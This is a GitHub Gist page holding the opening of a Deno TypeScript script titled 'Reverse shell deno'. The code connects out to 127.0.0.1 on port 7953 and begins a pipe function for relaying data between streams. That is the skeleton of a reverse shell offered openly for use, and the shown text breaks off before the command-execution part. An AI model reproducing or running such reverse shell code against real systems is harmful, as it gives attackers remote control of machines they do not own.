Skip to content

Instantly share code, notes, and snippets.

View Axone7953's full-sized avatar
💊
LSD, Not Even Once

Axone Axone7953

💊
LSD, Not Even Once
View GitHub Profile
@Axone7953
Axone7953 / reverse_shell.ts
Created September 2, 2022 12:07
Reverse shell deno
const conn = await Deno.connect({ hostname: "127.0.0.1", port: 7953 });
const decoder = new TextDecoder(),
encoder = new TextEncoder();
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer));
async function pipe(reader: Deno.Reader, writer: Deno.Writer, debug=false) {
const buffer = new Uint8Array(32 * 1024);